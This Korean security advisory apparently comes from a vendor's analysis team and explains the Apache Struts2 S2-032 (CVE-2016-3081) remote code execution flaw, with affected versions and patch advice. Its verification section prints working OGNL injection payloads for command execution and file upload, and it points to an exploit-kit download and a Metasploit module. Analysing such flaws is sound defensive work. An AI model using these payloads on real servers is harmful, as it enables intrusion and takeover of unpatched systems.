보안정보
전문화된 보안 관련 자료, 보안 트렌드를 엿볼 수 있는
차세대 통합보안관리 기업 이글루코퍼레이션 보안정보입니다.
Apache Struts2 취약점 (CVE-2016-3081)
2016.06.01
23,784
보안관제사업부 보안분석팀 김미희
1. 개요
Apache Struts2에서 취약점을 이용하여 원격코드 실행이 가능한 CVE-2016-3081(S02-32)와 CVE-2016-3082(S02-31)취약점이 발견되었다.
CVE-2016-3082(S02-31)은 XSLTResult 함수를 통해 XSL 스타일시트에서 악성 파라미터 값을 요청하여 원격코드 실행이 가능한 취약점이고, CVE-2016-3081(S02-32)은 DMI(Dynamic Method Invocation)를 사용하여 공격자가 원격으로 임의의 코드를 실행할 수 있는 취약점으로 DMI기능이 활성화 된 경우에만 영향을 받는다.
2016년 4월 28일 해당 취약점에 대한 보안패치가 제공된 상태이나 공격방식이 쉽고 공격을 받았을 때 시스템에 미치는 영향도가 크기 때문에 이번 호에서는 CVE-2016-3081취약점에 대해서 분석해 보았다.
2. 취약점 요약
CVE |
세부 내용 |
위험도 |
CVE-2016-3081 |
DMI기능을 통해 임의코드를 서버사이드에서 실행할 수 있는 취약점 |
High |
CVE-2016-3082 |
XSLTResult 함수를 통해 XSL 스타일시트에서 악성 파라미터값을 요청하여 원격코드실행이 가능한 취약점 |
Medium |
3. 영향 받는 소프트웨어
CVE |
영향 받는 버전 |
보안 패치 버전 |
CVE-2016-3081 |
Struts 2.3.20 - Struts 2.3.28 |
Struts 2.3.20.3 |
CVE-2016-3082 |
Struts 2.0.0 - Struts 2.3.28 |
4. 취약점 원리
공격이 수행되려면 기본적으로 Struts2 설정 파일(struts.xml)에서 “struts.enable.DynamicMethodInvocation”의 값이 “True”로 설정되어야 한다.
< constant name="struts.enable.DynamicMethodInvocation" value="true" / > |
Apache Struts2에서 문제가 된 DMI(Dynamic Method Invocation은 WebWork에 내장된 기능 중 execute() 메소드 대신에 다른 메소드를 호출하는 기능을 가진 “!”문자열을 이용하게 한다.
DMI는 기본적으로 POJO Action이 사용되는 경우 보안문제를 야기시킬 수 있어 DMI기능을 비활성화 시켰으나 이번에 보고된 취약점을 이용하면 Method를 통해 넘긴 값이 DMI를 거쳐 처리되면서 Java 구문으로 흐름을 변경하여 공격자가 원하는 공격명령을 수행할 수 있도록 한다.
test.action?cmd=gedit&method:(%23_memberAccess).setExcludedClasses(@java.util.Collections@EMPTY_SET),(%23_memberAccess).setExcludedPackageNamePatterns(@java.util.Collections@EMPTY_SET),%23cmd%3d%23parameters.cmd,%23a%3dnew%20java.lang.ProcessBuilder(%23cmd).start().getInputStream(),new java.lang.String |
위의 공격 명령어에서 method 파라미터를 통해서 공격 명령을 넘기게 되고 memberAccess이후에 cmd파라미터의 값을 시스템으로 넘기도록 구성되어 있다.
좀더 자세히 설명하면 동적 메소드 호출(DMI)이 활성화 되어 있으면, “http://localhost:8080/struts241/index!login.action” 와 같은 로그인 요청을 수행할 수 있으며, 이 동적 호출을 수행할 때, 특수문자는 공백으로 처리되지만 “http://localhost:8080/struts241/index.action?method:login“와 같이 바꾸어 요청할 수 있다.
수신 된 매개 변수는 ActionMappping의 method 속성에 저장되고 DefaultActionProxyFactory에서 ActionMappping의 method 속성이 ActionProxy의 method 속성으로 설정되는데, 이 때 escapeEcmaScript, escapeHtml4를 통해 필터링하고 있지만 POC 코드를 통해 통과할 수 있다.
그리고 DefaultActionInvocation.java에서 ActionProxy의 method를 추출하고 ognlUtil.getValue()를 통해 OGNL 표현식을 실행한다.
OGNL을 통과하여 표현하는 방식은 ognl.ognlcontext의 DEFAULT_MEMBER_ACCESS 속성을 통하여도 얻을 수 있으며, 얻은 값을 _memberAccess 속성에 덮을 수 있고, 이것은 SecurityMemberAccess를 우회 할 수 있다.
DMI는 기본적으로 2.3.15.2 이후에는 비활성화 되어 있는 상태이나 2.3.20 ~ 2.3.28(2.3.20.3, 2.3.24.3 제외)에서는 취약점의 영향이 존재하기 때문에 업데이트를 권고한다.
5. 취약점 검증
1) 원격실행 명령
method:%23_memberAccess%3d%40ognl.OgnlContext%20%40DEFAULT_MEMBER_ACCESS%2c%23a%3d%40java.lang.Runtime%40getRuntime%28%29.exec%28%23parameters.command%20%5B0%5D%29.getInputStream%28%29%2c%23b%3dnew%20java.io.InputStreamReader%28%23a%29%2c%23c%3dnew%20%20java.io.BufferedReader%28%23b%29%2c%23d%3dnew%20char%5B51020%5D%2c%23c.read%28%23d%29%2c%23kxlzx%3d%20%40org.apache.struts2.ServletActionContext%40getResponse%28%29.getWriter%28%29%2c%23kxlzx.println%28%23d%20%29%2c%23kxlzx.close&command=[COMMAND] |
※ command 파라미터의 입력 값은 변경이 가능(ex. whoami, ipconfig, dir)
[그림 1] whoami명령어를 이용한 공격 결과
2) 파일 업로드
method:%23_memberAccess%20%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23a%3d%23parameters.reqobj%5B0%5D,%23c%3d%23parameters.reqobj%20%5B1%5D,%23req%3d%23context.get(%23a),%23b%3d%23req.getRealPath(%23c)%2b%23parameters.reqobj%5B2%5D,%23fos%3dnew%20java.io.FileOutputStream(%23b),%23fos.write(%23parameters.content%5B0%5D.getBytes()),%23fos.close(),%23hh%20%3d%23context.get(%23parameters.rpsobj%5B0%5D),%23hh.getWriter().println(%23b),%23hh.getWriter().flush(),%20%23hh.getWriter().close(),1?%23xx:%20%23request.toString&reqobj=com.opensymphony.xwork2.dispatcher.HttpServletRequest&rpsobj=com.opensymphony%20.xwork2.dispatcher.HttpServletResponse&reqobj=%2f&reqobj=[FILENAME]&content=Struts2+Exploit+Test |
[그림 2] 툴을 이용한 파일업로드 결과
6. 취약점 진단방법
1) 점검 전용사이트를 이용한 점검방법
◎ URL : http://0day.websaas.cn/
◎ 사용방법
① 사이트 접속 후 왼쪽 상단에 버튼을 클릭
② 리스트 박스에서 “Struts2 S2-032漏洞在线检测”를 클릭
③ 점검하고자 하는 사이트 URL을 입력하고 파란색 버튼을 클릭
[그림 3] 취약점 점검용 사이트 화면
2) Exploit Kit을 이용한 점검 방법
◎ URL : http://pan.baidu.com/s/1i5rp1a9
◎ 사용방법
① 사이트 접속 공격도구를 다운로드
② 공격이 성공되면 [그림 4-4]와 같이 입력 명령어의 결과가 출력
③ 공격이 실패되면 [그림 4-5]와 같이 접속한 홈페이지의 소스코드가 출력
[그림 4] 공격 명령어 성공 결과 화면
[그림 5] 공격 명령어 실패 결과 화면
3) Metasploit을 이용한 점검방법
Metasploit에서도 2016년 4월 27일 Apache Struts Dynamic Method Invocation Remote Code Execution으로 struts_dmi_exec공격모듈을 공개하였다.
[그림 4-6] Metasploit에서 제공하는 struts_dmi_exec 공격 모듈
struts_dmi_exec 공격모듈의 경우 공격대상의 정보(RHOST, RPORT, TARGETURI)를 입력하면 공격수행이 가능하다.
구분 |
IP |
설정 |
ATTACKER |
192.168.78.137 |
|
VICTIM |
192.168.78.136 |
Apache Tomcat v7.0, Apache Struts2 2.3.28 |
[그림 7] Metasploit에서 제공하는 struts_dmi_exec 공격 모듈 사용 화면
공격대상정보를 입력하고 공격을 수행하면 [그림 8]과 같이 공격이 성공하여 공격대상의 권한획득이 가능하다.
[그림 8] 공격 모듈을 이용하여 공격대상의 권한 획득
7. 참고자료
[1] Apache Struts2 S2-031
http://struts.apache.org/docs/s2-031.html
[2] Apache Struts2 S2-032
http://struts.apache.org/docs/s2-032.html
[3] Apache Struts2 Version Notes 2.3.28.1
http://struts.apache.org/docs/version-notes-23281.html
[4] Struts2方法调用远程代码执行漏洞(CVE-2016-3081)分析
http://blog.nsfocus.net/tech/%E6%8A%80%E6%9C%AF%E5%88%86%E4%BA%AB/2016/04/26/Struts2%E6%96%B9%E6%B3%95%E8%B0%83%E7%94%A8%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E-CVE-2016-3081-%E5%88%86%E6%9E%90.html
[5] APACHE STRUTS DYNAMIC METHOD INVOCATION REMOTE CODE EXECUTION
https://www.rapid7.com/db/modules/exploit/linux/http/struts_dmi_exec